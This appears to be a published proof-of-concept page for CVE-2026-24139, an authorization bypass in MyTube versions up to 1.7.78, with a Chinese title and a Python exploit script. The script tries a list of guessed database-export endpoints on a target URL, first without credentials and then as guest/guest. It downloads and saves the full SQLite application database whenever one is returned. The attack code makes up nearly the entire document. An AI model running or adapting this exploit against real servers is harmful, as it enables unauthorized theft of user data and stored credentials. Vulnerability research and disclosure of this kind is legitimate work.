CVE-2026-24139 MyTube 1.7.78及以下版本授权绕过漏洞

# CVE-2026-24139 PoC - MyTube Authorization Bypass # Target: MyTube <= 1.7.78 # Vulnerability: Database export endpoint lacks proper authorization check import requests import sys def exploit_mytube(target_url): """ Exploit authorization bypass in MyTube database export endpoint. Allows low-privileged or guest users to download the complete application database. """ # Database export endpoint - typically found via path enumeration export_endpoints = [ "/export/database", "/api/export/db", "/backup/database", "/api/database/download", "/admin/export/database" ] print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2026-24139: Authorization Bypass in MyTube") for endpoint in export_endpoints: url = target_url.rstrip('/') + endpoint # Try without authentication (guest access) print(f"\n[*] Testing endpoint: {url}") try: # Method 1: Direct unauthenticated request response = requests.get(url, timeout=10) if response.status_code == 200: # Check if response contains database content content_type = response.headers.get('Content-Type', '') content_length = len(response.content) # Database files typically have specific signatures if 'sqlite' in content_type.lower() or \ 'application/octet-stream' in content_type.lower() or \ response.content[:16].startswith(b'SQLite format 3'): print(f"[!] VULNERABLE! Database export found at {url}") print(f"[!] Content-Type: {content_type}") print(f"[!] Content-Length: {content_length} bytes") # Save the database output_file = f"mytube_db_{endpoint.replace('/', '_')}.sqlite" with open(output_file, 'wb') as f: f.write(response.content) print(f"[!] Database saved to: {output_file}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") continue # Method 2: Try with basic authentication (low-privileged user) print("\n[*] Trying with low-privileged credentials...") try: # Common default credentials or low-priv user auth = ('guest', 'guest') for endpoint in export_endpoints: url = target_url.rstrip('/') + endpoint response = requests.get(url, auth=auth, timeout=10) if response.status_code == 200 and response.content[:16].startswith(b'SQLite format 3'): print(f"[!] VULNERABLE with guest credentials!") output_file = f"mytube_db_auth_{endpoint.replace('/', '_')}.sqlite" with open(output_file, 'wb') as f: f.write(response.content) print(f"[!] Database saved to: {output_file}") return True except requests.exceptions.RequestException as e: print(f"[-] Authenticated request failed: {e}") print("\n[-] Exploit completed. No vulnerable endpoint found or database not accessible.") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2026_24139_poc.py <target_url>") print("Example: python cve_2026_24139_poc.py http://target.com:8080") sys.exit(1) target = sys.argv[1] exploit_mytube(target)